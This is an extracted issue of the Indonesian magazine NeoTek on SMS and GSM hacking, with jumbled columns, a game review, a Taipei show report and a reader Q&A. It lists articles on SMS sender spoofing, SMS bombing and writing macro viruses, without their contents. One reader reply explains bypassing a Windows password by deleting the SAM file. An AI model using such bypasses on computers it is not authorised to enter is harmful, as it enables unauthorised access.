Docstoc

SMS _ GSM Hacking_ Internet Amatir Radio

Document Sample
SMS _ GSM Hacking_ Internet Amatir Radio Powered By Docstoc
					NeoSoft

Expansion: Thrones and Patriots

Rise of Nations

Rise of Nations Expansion: Thrones and Patriots adalah ekspansi dari RTS game yang sudah sukses sebelumnya: Rise of Nations. Dengan game ini anda bereksplorasi dalam sejarah selama kurun waktu 6000 tahun, yang dalam waktu itu suatu bangsa membentuk angkatan bersenjata yang tangguh, ekonomi yang kuat, serta menjalankan seni diplomasi yang tinggi.

• Republic. Pemerintahan dikendalikan oleh wakilwakil yang dipilih yang mungkin (mungkin juga tidak) mewakili kehendak rakyat. • Democracy. Pemerintahan yang penguasanya dipilih oleh semua warga negara dan mewakili kehendak rakyat. Single User Campaign Selain Conquor the World Campaign yang baru, terdapat juga berbagai campaign berdasarkan skenario sejarah: • Alexander the Great. Alexander the Great naik tahta setelah ayahnya dibunuh dan menemukan dirinya dikelilingi oleh musuh. • Napoleon. Tampilnya pemimpin muda di jaman Prancis yang bergolak setelah Revolusi. • The New World. Benturan kebudayaan di Dunia Baru, antara orang Eropa menghadapi Indian serta bekas penguasanya, kerajaan-kerajaan di Eropa. • The Cold War. Kondisi yang terbentuk dari abu sisa-sisa Perang Dunia II. Amerika Serikat dan Uni Soviet berlomba menanamkan pengaruhnya di segenap penjuru dunia.
Sistem Minimum Windows 98/ME/2000/XP, DirectX 8.1 500 MHz Pentium III/Athlon 128 MB RAM 16 MB videocard 750 MB hard disk space CD ROM drive 8x Retail version dari Rise of Nations

P ada ekspansi ini diperkenalkan enam bangsa tambahan dalam game, empat campaign unik untuk permainan single player, serta jenis-jenis pemerintahan. Selama bermain anda dapat melewati delapan jaman dalam sejarah, mulai dari jaman kuno sampai abad informasi. Jenis-jenis Nation Keenam bangsa (nation) tambahan yang disertakan adalah American, Lakota, Iroquouis, Persians, Indian, dan Dutch yang masing-masing mempunyai karakteristik sendiri, seperti inovasi pada American dan kecanggihan berekonomi pada Dutch. Jenis-jenis Pemerintahan Jenis pemerintahan memberikan kelebihan dalam hal militer maupun non-militer. Anda dapat membentuk senat setelah anda mencapai abad klasik yang harus dibangun dalam batas kota. • Despotism. Pemerintahan dikendalikan oleh seorang tirani dengan kekuasaan absolut. • Monarchy. Pemerintahan dikendalikan oleh suatu penguasa berdasarkan keturunan. • Capitalism. Pemerintahan yang produksi dan distribusi barangnya ditentukan oleh kekuatan pasar. • Socialism. Pemerintahan yang produksi dan distribusi barangnya dikendalikan oleh persamaan dan bukan oleh kekuatan pasar.

HomePage Harga NeoTek + CD: Rp20.000,- (P. Jawa) Rp22.000,- (Luar P. Jawa)

Dunia Teknologi Baru

N EOTE K

Salam!
Utak-atik Ponsel: SMS dan GSM Hacking

Anatomi suatu serangan hacking

Footprinting

Scanning

Enumeration

Gaining Access

Escalating Privilege

• Anak-anak pun kini sudah mainan ponsel, terutama untuk meyakinkan orang tua tertang keberadaan anaknya. Artinya anak-anak kini sudah melek teknologi sejak dini.

Pilfering

Covering Tracks

Creating Backdoors Denial of Service

onsel sudah menjadi kebutuhan sehari-hari, dan lebih banyak orang memiliki ponsel dibandingkan komputer. Ponsel mempunyai kemampuan transmisi data digital seperti halnya SMS, serta koneksi ke internet lewat CSD ataupun GPRS. Kelebihan dan kenyamanan ini juga yang akhirnya membawa risiko dalam pemakaian ponsel. Ponsel anda dapat dihujani SMS tidak diundang seperti layaknya spam pada email, data anda bisa dicuri, serta kini sudah ada virus yang beraksi pada ponsel. Kenali rahasia ponsel anda, khususnya untuk perlindungan diri sendiri dari para cracker yang bermaksud jahat.

P

Redaksi redaksi@neotek.co.id

Lengkapi pengetahuan hacking dan PC security anda dengan berlangganan majalah NeoTek: Hubungi KRISHNAdiSTRIBUTOR Tel. (021) 5835 0080 HP. (0816) 1187 111 (Boedi) email: krishnadistributor@neotek.co.id Kontak: Boedi Krishnadi

Bagaimana menghubungi N EOTEK?
KONTRIBUSI ARTIKEL
redaksi@neotek.co.id

ADMINISTRASI IKLAN
Tel. 021-5481457 Tel. 021-5481457

SURAT PEMBACA WEBMASTER

Fax. 021-5329041

support@neotek.co.id webmaster@neotek.co.id

SIRKULASI NEOTEK ALAMAT REDAKSI
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482 email: kosasih@indo.net.id

PEMASARAN
#neoteker

Hedhi Sabaruddin, 0812-1891827

CHATROOM DI DALNET MILIS PARA NEOTEKER

http://groups.yahoo.com/group/majalahneotek

Vol. IV No. 08 NeoTek

1

Daftar Isi

Daftar Isi
FOKUS VOL. IV NO. 8

NeoTek Vol. IV No. 8
NeoStyle
Bandingkan dengan Darwin Streaming Server yang dibahas sebelumnya untuk Radio dan TV Internet.

26

Windows Media Server

MENGUAK RAHASIA PONSEL

SMS dan GSM Hacking

NeoStart
Asalkan punya akses Internet, maka kirim SMS bisa gratis, memanfaatkan fasilitas Yahoo! Messenger.

9

SMS Gratis Y!

Kita dalami lebih lanjut format data SMS dan kenali bagaimana suatu SMS dikirim dan diterima di pihak terkirim.

16

Format Data SMS

29

Windows Media Encoder

Fasilitas Radio dan TV Internet yang gratis dari Microsoft. Instalasi dan pemakaiannya sangat mudah.

Kenali ponsel anda sebagai suatu modem dan pelajari bahasa komunikasi modem yang universal ini lewat PC anda sendiri.

10 12

Menguak Rahasia Ponsel

Teknik mengelabui penerima SMS yang dapat disalahgunakan untuk menipu ataupun intimidasi.

18

SMS Fake Sender

SMS, PDU, AT Command

Kalau pada network hacking ada Denial of Service, maka pada GSM ada SMS bombing!

20 24

SMS Bombing

45 46 47

Photoshop: Efek Line dengan Pattern

Melanjutkan bahasan Photoshop dalam memberi efek pada foto anda.

Bagaimana hubungan antara SMS, format teks dan PDU, serta AT command yang lazim pada modem? Inilah dasar dari SMS Hacking.

Mengenal SMS Center

Artikel pelengkap bahasan SMS Hacking. Perlu apabila anda bermkinat belajar lebih lanjut.

Efek Square dengan Fungsi Pattern

Fitur lain untuk diterapkan pada foto anda menggunakan Photoshop.

Situs NeoTek
Link Langsung
Kunjungi situs-situs yang dibahas di majalah NeoTek dengan sekali klik lewat situs NeoTek.

www.neotek.co.id

Efek Blur pada Foto

Jadikan situs NeoTek sebagai pangkalan Anda berselancar

Juga artikel Photoshop untuk membuat gambar statis tampak dinamis dengan efek blur.

Layanan Rupa-rupa NeoTek
Channel #neoteker di Dalnet Ngobrol ramai-ramai sesama NeoTeker Web Chat Room Kini tidak usah jauh-jauh untuk ngobrol langsung dengan sesama NeoTeker Mailing List Ini yang paling ramai. Segera ikutan berbagi pengalaman berinternet! NeoTeker Official Portal http://www.neoteker.or.id Situs komunikasi antar Neoteker. Neoteker Internet Radio http://dj.neoteker.or.id:8000

NeoTek versi PDF

Kehabisan NeoTek di kota Anda? Dapatkan saja versi PDF-nya. Gratis!

Download

Tersedia juga download di situs NeoTek selain dari situs aslinya

2

NeoTek Vol. IV No. 08

Daftar Isi

NeoTekno

40

Internet Paket Radio: Instalasi Gateway di Linux

32

Virus dan Worm

Onno W. Purbo berbagi ‘ilmu simpanannya’ yaitu bagaimana berinternet walaupun sarana telepon tidak tersedia. Bukan menggunakan wi-fi yang selama ini dipromosikannya, melainkan ilmu yang ‘lebih kuno’ yaitu memanfaatkan radio amatir untuk berinternet. Koneksi narrow band buatan sendiri ini sudah lumayan untuk email dan browsing sederhana

0

Throne and Patriots
Melanjutkan keberhasilan Rise of Nations dengan tambahan peradaban dan skenario sejarah.

NeoProfil
3
Editorial Office
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482

Pahami perkembangan virus dan worm dari sejarahnya, sejarah kreativitas yang tidak terarah sehingga menjadi tindakan yang dikategorikan kriminal oleh para korban, namun bukan demikian dari sudut pandang kebebasan berkreasi.

Business Office
Gedung Cahaya Palmerah 503 Jl. Palmerah Utara III No. 9 Jakarta 11480 Telp. 021-5481457 Fax. 021-5329041

35

Membuat Sendiri Virus Macro

Macro pada Microsoft Word pada dasarnya adalah bahasa pemrograman Visual Basic, jadi tidak heran apabila virus pun dapat dibentuk dari macro.

Pemimpin Umum
Fachri Said

Pemimpin Redaksi
Kosasih Iskandarsjah

38

Membuat Penangkal Virus Macro

Redaktur Ahli
Onno W. Purbo Michael S. Sunggiardi

Jangan cuma bisa merusak saja dengan membuat virus macro. Justru pengetahuan yang sama dapat digunakan untuk penangkal virus macro. Jadi tinggal anda sendiri yang memilih mau berdiri di sisi mana. Sisi black hat atau sisi white hat. Ilmu security dan hacking pada dasarnya netral saja.

Pemimpin Usaha
Fahmi Oemar Dadang Krisdayadi

Redaktur Pelaksana
MA Rody Candera

Sekretaris Redaksi
Marni

NeoRagam

NeoTek Vol. IV No. 09 Bahaya Email dan Spam
Spam atau ‘email tidak diundang’ sekarang ini sudah meraja-lela dan menjadi masalah kelas dunia. Tetapi selain menjengkelkan spam juga dapat membawa bahaya yang bukan saja terhadap kesehatan komputer anda (virus lewat email) tetapi juga bahaya terhadap keuangan anda (phising), dan bahkan bahaya terhadap jiwa anda (nigerian mail).

Webmaster
Supriyanto

4 5 6 7

Klak Klik Game: Rise of Nations Expansion Thrones and Patriots Taipei Computer Show 29 Juli - 2 Agustus 2004 Taipei Computer Show 29 Juli - 2 Agustus 2004 NeoTek masuk sekolah Kualitas Pendidikan: Mulai dari Sekolah Dasar

Sirkulasi
Hedhi Sabaruddin

Adm. Langganan
KRISHNAdiSTRIBUTOR

Iklan dan Promosi
Dwi Hastono, G. Widianto

Keuangan
Aswan Bakri

Linux Computer Forensics
Melanjutkan bahasan computer forensics secara umum, kali ini NeoTek membahas tata laksana computer forensics pada Linux.

Bank
Bank BNI a.n. PT NeoTek Maju Mandiri No. rekening 070.001709720.001 Bank BCA Matraman
(khusus untuk langganan)

Daftar Isi CD NeoTek Perl sebagai tool untuk SMS dan GSM Hacking

a.n. Boedi Krishnadi No. rekening 342-239-1611

Vol. IV No. 08 NeoTek

3

NeoRagam

Klak Klik
GAME BULAN INI
Rise of Nations 98,85 MB
Thrones and Patriots

TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004
ari pertama NeoTek di Taipei diawali dengan insiden kecil yang hampir saja mengakibatkan sopir taksi yang ditumpangi oleh NeoTek baku hantam dengan sopir bus. Mungkin perilaku jelek yang ditiru oleh para anggota parlemen. NeoTek berkesempatan mengunjungi Taipei Computer Show pada hari kedua dengan membayar tiket masuk sebesar NT$ 200 (sekitar Rp50.000, suatu jumlah yang besar dibanding dengan ukuran kita yang selalu gratis. Consumer Multimedia Yang medominasi pameran kali ini adalah segala hal yang berhubungan dengan multimedia konsumen, mulai dari portable music player, digital camera, digital video camera, sampai digital storage dan player.

H

ekspansi M erupakangame sebedari RTS lumnya dari Microsoft: Rise of Nations, Thrones and Patriots menyediakan enam macam tambahan peradaban, lebih dari 20 unit baru, wonder, serta jenis-jenis pemerintahan. Untuk single player terdapat berbagai campaign yang membuatnya mirip game sebelumnya dari Microsoft, Age of Empire. Campaign yang disediakan di antaranya:

Pameran diselenggarakan di World Trade Center Taipei, di sebelah Taipei 101, yang akan menjadi gedung tertinggi di dunia. Untuk masuk ke pameran, anda harus membeli tiket senilai NT$200 (sekitar Rp50.000,-)

Kini sudah tidak asing lagi melihat deretan produk yang dulu dikategorikan sebagai ‘barang elektronika’ rumah tangga camera dalam pameran komputer. Memang kita belum sampai melihat kulkas dan

• Alexander the Great (ada pada Trial Version)

• The New World • Napoleon • The Cold War
Win 98/ME/2000/XP, DirectX 8.1 500 MHz Pentium III/Athlon 128 MB RAM 16 MB videocard 750 MB hard disk space 8x CD ROM drive Retail version Rise of Nations

AC di pameran komputer, tetapi siapa tahu kelak? Produk Bisnis Software bisnis yang sedang trend adalah aplikasi bisnis menggunakan web, khususnya ERP on the Web, suatu trend yang ditimbulkan dari semakin meluasnya broadband dan semakin matangnya teknologi enkripsi. Lagi pula Microsoft kini sedang mengobral program sertifikasinya dengan mendanai panel evaluator terhadap software yang memohon sertifikasi dari Microsoft. Produk Khusus Yang justru menarik untuk disimak adalah produkproduk khusus yang hanya ada di beberapa stand saja, seperti desktop computer dengan micfro form factor (harga antara NT$6.888 sampai NT$39.999) atau peralatan riset yang menggabungkan mikroskop dengan komputer. Atmosfer Pameran Khas pameran di Taipei adalah gadis-gadis sexy yang membagi-bagikan hadiah dan membawakan kuis, selain promosi berjalan membawa poster seperti layaknya sedang demo politik.
Komputer dengan micro form factor dan stand Pentax dengan gadis-gadis sexy-nya yang membawakan quiz serta obral souvenir.

4

NeoTek Vol. IV No. 08

NeoRagam TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004
emang Taiwan adalah pusatnya industri menengah elektronika. Banyak sekali merk dan produk yang tidak banyak kita kenal di Indonesia maupun Singapore yang menjadi daya tarik sendiri pada Taipei Computer Show. Camcorder Murah Meriah Sudah bukan rahasia lagi kalau shooting video menjadi hobby baru banyak orang sejalan dengan fotografi. Ini semua dengan semakin terjangkaunya kamera maupun media penyimpanannya.

M

Semurah-murahnya camcorder digital, paling tidak masih sekitar 4 juta rupiah (model Canon GR-D33 dengan media MiniDV), tetapi kini video camera dapat juga menggunakan SD card sepert halnya Microtek MV300 yang diberi banderol NT$6990 (sekitar 1,8 juta rupiah). Memang resolusinya masih agak rendah (0,6 megapixel) dibandingkan camcorder MiniDV yang paling murah sekalipun yang sudah 0,8 megapixel.

NeoTek malah tertarik dengan micro DVD player yang diberi harga yang sama. Lumayan untuk hiburan selama di perjalanan. Digital Album Transcend yang dikenal dengan produk-produk memory-nya (RAM chip, Flash drive, USB external hard disk, maupun card reader) membawakan berbagai portable storage untuk digital fotografi, yang ukurannya semakin kecil namun kapasitas yang semakin besar.

Multimedia Projector Yang juga akan semakin ramai adalah multimedia projector yang dulu hanya mampu dimiliki oleh perusahaan-perusahaan besar. Multimedia projector dengan teknologi DLP diarahkan ke pasar rumah tangga dan keseimbangan harga yang akan dicapai kelihatannya sekitar 8 juta rupiah.Untuk kelas ‘bisnis’ tentu masih ada yang harganya dua atau tiga kali harga ‘rumah tangga.’

Microtek Portable DVD Player dan Microtek Video Camera Recorder dengan media penyimpanan SD card.

NEOTEK MASUK SEKOLAH
ntuk memahami NeoTek memang diperlukan bimbingaa. Membacanya tanpa bimbingan hanya akan mengakibatkan kebingungan.

U

NeoTek Masuk Sekolah Mengingat umur potensial untuk belajar security dan hacking adalah masa remaja maka NeoTek juga akan mengembangkan seminar gratis ke sekolah-sekolah, khususnya SMU, SMK, dan SLTP Diharapkan dari ‘bingung’ para remaja ini akan ‘terang’ wawasannya mengenai apa itu security dan hacking, serta mendapatkan pemahaman yang benar perbedaan antara kreatif dengan sedikit nakal dibandingkan cyber crime. Para pelajar diharapkan akan menjadi bagian dari masyarakat produktif dan bukan sekedar bagian dari masyarakat pengkonsumsi teknologi. Penawaran Khusus Mengingat terbatasnya daya beli para pelajar, maka agar

Pendidikan Konsumen NeoTek bekerja sama dengan toko-toko buku Gramedia secara reguler mengadakan seminar gratis di berbagai lokasi toko buku Gramedia, yang untuk pertama kali ini di wilayah Jabotabek. Program ‘pendidikan’ konsumen ini akan bermuara pada semakin banyaknya yang dibekali dasar-dasar security and hacking agar dapat memahami apa yang dibahas NeoTek, serta dapat mengembangkan sendiri pengetahuannya dari sumber-sumber lain. Jadi sering-sering lihat jadwal di toko buku Gramedia terdekat.

pengetahuan hacking dan security dapat tersebar luas, maka NeoTek selain tetap menyediakan keseluruhan majalah dalam format PDF di situs www.neotek.co.id (hanya disediakan terlambat 2 bulan), juga akan menawarkan harga khusus untuk para pelajar yang berlangganan lewat sekolah. Selain tanpa dibebani ongkos kirim, harga berlangganan lewat sekolah akan jauh lebih murah. Diperkirakan hanya Rp15.000,- dibandingkan harga di toko buku yang Rp20.000,Tentunya harus dijamin bahwa NeoTek harga khusus ini jatuh langsung ke tangan konsumen langsung agar tidak mengganggu pasaran umum di toko buku. Selain itu, secara berkala akan diadakan seminar gratis di lingkungan sekolah yang para

pelajarnya berlangganan NeoTek. Jadi selain lebih murah dan tanpa ongkos kirim, dibahas juga cara memahami artikel yang ditulis di NeoTek. Pada awalnya tim redaksi NeoTek yang akan menjadi pembicara, namun selanjutnya para pelajar itu sendiri yang akan menjadi pembicara untuk kawan-kawannya sebagai laporan kegiatan studi security dan hacking yang diadakannya sendiri. Hacking bukan lagi jadi kata misterius. Sekolah anda berminat dilibatkan dalam kegiatan seminar gratis ini? Para guru, kepala sekolah, maupun OSIS, silakan hubungi MA Rody Candera lewat email: odyxb@bogor.net Sampai ketemu di sekolah!

Vol. IV No. 08 NeoTek

5

NeoRagam KUALITAS PENDIDIKAN: MULAI DARI SEKOLAH DASAR
pabila NeoTek masuk ke sekolah-sekolah menengah dan kampus untuk meningkatkan mutu pelajar dan mahasiswa dalam hal teknologi informasi serta membentuk sikap kreatif dan bertanggung jawab (walau sedikit nakal), maka lain halnya dengan sekolah dasar.

A

maraknya pemakaian komputer sejak usia dini adalah nyaris tidak adanya perhatian terhadap elektronika serta selanjutnya mikrokontroler dan mikroprosesor yang merupakan latar belakang teknologi hardware komputer. Kini sudah tidak ada majalah dalam Bahasa Indonesia yang khusus membahas elektronika seperti yang ada sekitar 20 tahun yang lalu. Untuk mengisi kekosongan ini, dibawakan kit elektronika tanpa solder dan dasar-dasar robotika. Aspek teknologi lain yang juga dibahas adalah ilmu kelautan dan dirgantara yang diwujudkan dalam kegiatan membuat model. Kit Elektronika Tanpa Solder Teknologi pendidikan ini memungkinkan siswa Sekolah Dasar merakit rangkaian elektronika tanpa takut terluka. Hal ini dimungkinkan dengan penggunaan spiral baja sebagai pengganti timah solder. Bisa dibayangkan kalau spiral baja ini lebih mahal dibanding komponen elektronikanya sendiri, tetapi kit-kit elektronika ini semuanya dapat dibongkar pasang dan dipakai berkali-kali, cocok untuk laboratorium elektronika anak-anak. Robotika Dasar Suatu robot pada dasarnya memiliki sensor, otak berupa

Membahas security dan hacking mungkin masih terlalu awal untuk para siswa sekolah dasar. Untuk itulah rekanan NeoTek di Surabaya menyediakan jasa konsultasi pendidikan untuk sekolah-sekolah dasar yang mencakup peningkatan kualifikasi guru serta menyediakan kegiatan bermanfaat untuk para siswa dalam bidang bahasa, seni budaya, maupun teknologi. Peningkatan Bahasa Para siswa diberikan pelatihan singkat jurnalistik yang diberikan oleh para wartawan nasional dan selanjutnya keterampilan baru ini diasah oleh para anak didik lewat majalah sekolah yang dibantu manajemen pendidikannya. Peningkatan Seni Budaya Sementara ini peningkatan seni budaya dilakukan lewat aplikasi teknologi sesuai dengan potensi daerah, yaitu membuat kertas seni dari bahan-bahan yang ada. Hasil karya anak-anak ini malah sudah diincar para pengusaha produk seni dari mancanegara, khususnya Australia. Peningkatan Teknologi Salah satu kelemahan dari

Kit elektronika tanpa solder yang cocok untuk siswa SD. Belajar elektronika dengan aman. mikrokontroler yang dapat memproses data dan mengambil tindakan sendiri yang dikerjakan oleh bagian mekaniknya. Kit robotika sudah lazim untuk anak-anak SD dan SLTP, di antaranya dari produsen mainan terkemuka di dunia, Lego yang menyajikan Lego Mindstorm. Sayang Lego Mindstrom masih terlalu mahal, dan untuk itulah disediakan kit robotika yang walau murah-meriah, tetap mempunyai fungsi-fungsi sebagai mana disediakan oleh Lego Minstrom. Kelautan dan Dirgantara Membuat model kapal laut serta aeromodelling adalah dasar memahami konsep fluida (air maupun udara) serta penerapan teknologi terhadap fluida (yaitu kapal laut dan pesawat udara). Model yang presisi secara proporsional sangat penting dalam mempelajari ilmu-ilmu ini dengan benar, dan itulah yang disediakan. Berminat? Sekolah anda berminat untuk mengikuti program pengayaan kurikulum seperti yang telah diikuti oleh lima sekolah dasar di Surabaya ini? Hubungi:
GIGA up. Tatik Handayani Telp. (031)8052248 HP. (817)9972742 email: tabloidgiga@mailcity.com NeoTek up MA Rody Candera Telp. (021)8730389 HP. (0812)8049030 email: odyxb@bogor.net

Kunjungi www.sdnpuja2.net untuk melihat situs dari SD di Surabaya yang sudah mengikuti program pengayaan kurikulum 6

Seperti inilah model kapal laut Titanic yang dibentuk secara berkelompok oleh para siswa SD yang belajar ilmu kelautan

NeoTek Vol. IV No. 07

NeoRagam

daftar isi cd neotek
YAHOO! MESSENGER
YM 6 Windows YM Debian Linux YM RedHat 6.x YM RedHat 7.x YM RedHat 8.0 YM RedHat 9.0 YM FreeBSD YM MacOS 8.9 YM MacOSX YM Palm OS YM Poxket PC msgr6suite.exe ymessenger_1.0.4_1_i386.deb rh6.ymessenger-1.0.4-1.i386.rpm rh7.ymessenger-1.0.4-1.i386.rpm rh8.ymessenger-1.0.4-1.i386.rpm rh9.ymessenger-1.0.4-1.i386.rpm fbsd4.ymessenger.tgz ymsgr_2.5.3-ppc_install.bin ymsgr_2.5.3-osx_install.bin messenger.zip ymsgr-ppc.exe pduspy.zip tfw115d1.zip (disk 1) tfw115d2.zip (disk 2) telix351.zip telix351-h.zip minicom_2[1].1-4.woody.1_i386.deb minicom_2[1].1-1.src minicom_2[1].1-1-rh7.3-i.386.rpm minicom_2[1].1-1-rh8.0-i.386.rpm minicom_2[1].1-1-rh9-i.386.rpm

WINDOWS MEDIA ENCODER
WMAudio 9 Lossless PCM WMAudio 9 ProfChanMask WMCapture 9 Series WMEncoder 7.1 WMEncoder 9 WMEncoding 8 Utility WMMono to Multichannel WMLoad Service WMService 4.1 Addin WMService 4.1 for NT 4.0

wmal2pcm_setup.exe wmcmesetup.exe wm9capture_setup.exe wmencoder71.exe WMEncoder.exe wm8eutil_setup.exe wavavimux_setup.exe wmloadsetup.exe wmsaddin.exe wmserver.exe

WINDOWS MEDIA SERVER

PDU DAN AT COMMANDS
PDU Spy Telix for Windows Telix for DOS Minicom Debian Minicom RedHat source Minicom RedHat 7.3 Minicom RedHat 8.0 Minicom Redhat 9 Perl Win32 API Perl Win32 Clipboard Perl Win32 Console Perl Win32 GUI Perl Win32 Internet Perl Win32 Shortcut Perl Win32 Sound

PROYEK

Perl scripts

email2sms.pl google.pl sakjebole.pl viewsource.pl yepcell.pl Virus makro lampiran code virus macro.txt Penangkal virus makro Penangkal virus macro.txt User form penangkal v. makro User form penangkal virus macro.txt

INTERNET RADIO: LINUX PACKET ENGINE
AX25 Projects

DADA’S PERL LAB (WINDOWS)

Win32-API-0.31.tar.gz Win32-Clipboard-0.51.tar.gz W32Console-0.03.zip Win32-GUI-0.0.665.tar.gz Win32Internet-0.08.zip Win32Shortcut-0.03.zip W32Sound-0.45.zip ActivePerl-5.4.8.810-MSWin32-x86.exe ActivePerl-5.4.8.810-MSWin32-x86.zip ActivePerl-5.4.8.810-i686-linux.rpm ActivePerl-5.4.8.810-i686-linux.deb ActivePerl-5.4.8.810-i686-linux.tar.gz setup.exe SMSXtender-2.6.2.zip smsxtender-3.1.sis setup.KIOSS-SMS.Me!!!.exe

AX25 Utilities AGW Packet Engine

libax25-o.o.11.tar.gz ax25-tools-0.0.8.tar.gz ax25-apps-0.0.6.tar.gz ax25-utils-2.1.42a-3.i386.rpm ax25-utils-2.1.42a-3.src

INTERNET RADIO: WINDOWS PACKET ENGINE
agwdial.zip agwpe.zip drivers.zip tcpip.zip tracker_setup.zip tracker_update.zip pepro_setup.zip pepro_update.zip pehelp.zip agwbbs.zip agwclust.zip agwmonitor.zip agwmonitorTcp.zip agwterm.zip agwtermTcp.zip agwuidigi.zip agwdigi.zip digplxo73.exe tf2agw18.zip agwgmt.zip develop.zip LoopbackInstaller.zip ntautologon.zip W95ws2setup.exe

ACTIVE PERL

Active Perl Windows Exe Active Perl Windows Zip Active Perl RedHat Active Perl Debian Active Perl Linux

AGW Tracker Packet Engine Pro AGW BBS AGW Cluster AGW Monitor AGW Term APRS Digi Digipeater Digiplex Tf2AGW Utilities

SMS FAKE SENDER

Bigfoot Comm. Manager 2.0 SMS Xtender Java SMS Xtender Symbian OS KIOSS SMSMe!!!

GRAPHICS

Adobe Photoshop CS setup.exe Adobe Photoshop Album 2 SE psa2se_us.zip PhotoStation 4.5 Trial FotoStation45WinInt.exe

WINDOWS MEDIA PLAYER
Personal License Update WMPlayer 9 Win98SEME2K WMPlayer 9 XP WMPlayer 10 XP beta WMPlayer 6.4 Win95NT WMPlayer 7.1 Win98 WMPlayer Plugin Netscape

drmwizard.exe MPSetup.exe MPSetupXP.exe MP10Setup.exe mpfull.exe mp71.exe wmpplugin.exe

GAME

Rise of Nations Expansion

RiseOfNationsXTrial.exe

PERL SEBAGAI TOOL UNTUK SMS DAN GSM HACKING
ahasan utama NeoTek kali ini, SMS dan GSM Hacking banyak menggunakan Perl interpreter. Untuk itu pada CD NeoTek kali ini disediakan Active Perl, baik untuk sistem operasi Windows maupun Linux.

B

SMS dapat dikirim dalam format teks ataupun format PDU. Konversi PDU ke teks atau sebaliknya dapat menggunakan software khusus, yaitu PDU Spy. Radio dan TV Internet Melanjutkan bahasan sebelumnya tentang Radio dan TV Internet, kali ini dibahas Windows Media Encoder dan Windows Media Server Graphics Telaah PhotoStation 4.5 yang banyak digunakan oleh media massa dunia. Suatu

katalog software yang memungkinkan anda menyertakan informasi mengenai foto yang anda ambil ke dalamnya. Untuk keperluan yang lebih sederhana dapat gunakan Adobe Photoshop Album 2 SE, sedangkan untuk editing foto, silakan coba Adobe Photoshop CS. Internet Radio Paket Terakhir, ikuti bahasan Onno W. Purbo tentang menyelenggarakan akses internet melalui radio amatir. Software-nya baik untuk Linux maupun Windows tersedia dalam CD NeoTek kali ini.

Memanfaatkan handphone sebagai modem mengharuskan adanya pemahaman terhadap memahami AT commands. Untuk itu selain dapat menggunakan hyper terminal yang sudah built-in pada Windows dapat juga digunakan Telix (Windows atau DOS) ataupun minicom (untuk berbagai versi Unix dan Linux).

Vol. IV No. 07 NeoTek

7

Inbox

NmN Neoteker menjawab Neoteker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list NeoTek di http://groups.yahoo.com/group/majalahneotek.
T: Posted April 29 Gimana ya cara ngilangin virus di floppy, setiap memasukkan disket yang baru langsung kena virus, dan virusnya itu MY LOVE extention word, tidak bisa di delete, setiap di del maka virus itu pasti kembali lagi, anti virus pc cilin tidak menetek, gimana ya caranya?
Gigik Nurbaskoro combro45@yahoo.com

4. Silakan coba masukkan disket baru (jgn disket yg udah kena virus), cek dan ricek apakah masih terjadi pembentukan file virusnya?
Odyxboy odyxboy@yahoo.com

perti di atas hapus file SAM pada direktori config dan restart komputer. Semoga bermanfaat.....
Rezki Rezki@e-solusi.com

J: Posted April 29 Ini virus lama, menjangkiti setiap disket yg dimasukkan ke floppy, tetapi bisa juga menjangkiti direktori C:\My Documents. Virus ini akan membuat file yg pertama dengan nama "My Heart" di disket ketika dimasukkan ke floppy, file tersebut menggunakan icon "MS Word" padahal sebenarnya itu bukan file "*.doc" dimana sesungguhnya file tersebut bekstensi "*.exe" Jika disket yg sama dimasukkan berulang-ulang, maka file tersebut akan berubahubah namanya. Untuk mengatasinya (ini cara kuno semoga membantu): 1. Bunuh (delete). Perhatikan di direktory "C:\Windows\System" temukan file dengan nama "SysTask". Sesungguhnya itu bukan file bawaan windows, virus ini mencoba menipu anda. File tersebut menggunakan icon MS Word tetapi sebenarnya berekstensi *.exe 2. Jika ternyata tidak dapat di delete, restart komputer dengan opsi "Restart in MS DOS Mode". di Dos, masuk ke direktori C:\Windows\System kemudian ketik => del systask.exe 3. Sampe disini, ketik => exit
8

T: Posted May 11 salam, apa ada cara untuk mengetahui password di windows xp?? teman saya kelupaan passwordnya, sekarang nggak bisa masuk windows... :))) tolong dong kalo ada yang tau caranya.. makasih.
Don Cavello m26400069@john.petra.ac.id

J: Posted May 11 DC> salam, DC> apa ada cara untuk mengetahui password di windows xp?? teman DC> saya kelupaan passwordnya, sekarang nggak bisa masuk windows... DC> :))) DC> tolong dong kalo ada yang tau caranya.. DC> makasih. Anda memakai system partisi apa? NTFS atau FAT32? Kalo make FAT32, boot komputer anda dari FDD atau CDROM dengan boot 98 dan masuk ke C:\WINNT\system32\config nah didalam direktori config ada file dengan nama SAM. Hapus file tersebut (SAM), restart komputer anda dan anda masuk ke windows sebagai administrator tanpa password. Kalo anda menggunakan system partisi NTFS, boot komputer dengan CD win 2000 or winxp, pada saat boot dari CDROM dan akhirnnya muncul pilihan pada menu utama pilih repair windows lalu ikuti langkahnya sampai masuk ke c:\. Lakukan hal yang sama se-

T: Posted May 17 saya punya mainboard GFXcel vga onboardnya terdetect sis 630\730 tapi saat saya install drivernya ..layar tdk berubah masih tetap 16 color , rencana saya pengen mematikan vga onboardnya biar saya bisa pasang VGA PCI, sayangnya manual booknya hilang entah kemana . Bagaimana cara mematikannya ?? mohon sarannya dong ?????
Md khumaidy@cbn.net.id

J: Posted May 17 Sebaiknya anda gunakan kabel consul dari router tersebut, gunakan hyperterminal. Nah dari consul tersebut, akan kelihatan yang mau di conf itu apakah serial atau eth dari router tersebut.
Jhon arly@speed.net.id

T: Posted May 23 Mohon bagi artikel dong, Bisa bagi artikel yang lamalama untuk belajar sayakan baru, bisa dikirim ke emailku?
Vico Cara ztudiz@yahoo.com.au

J: Posted May 17 masuk ke bios---> cari settingan vga on board (biasanya di peripheral (or something sound like that!!) pilih disable. Trus cari option dimana check pertama untuk vga adalah PCI bukan AGP. It's all about BIOS man.....
Subiakto cakrawardaya Subiyakto_C@yahoo.com

T: Posted May 17 Haloo Neoteker Saya masih baru dalam bidang IT, jadi di perusahaan saya telah membeli cisco router type 2600, namun saya tidak bisa mengkonfigurasi router tersebut melalui PC yang lain. Tolong bantuan, gimana caranya mengkoneksikan PC dengan Router dan menset IP Address serta modem dari router tsb? Terima kasih atas perhatiaanya
Wahyu Ahadi R wahyu@pln-nad.co.id

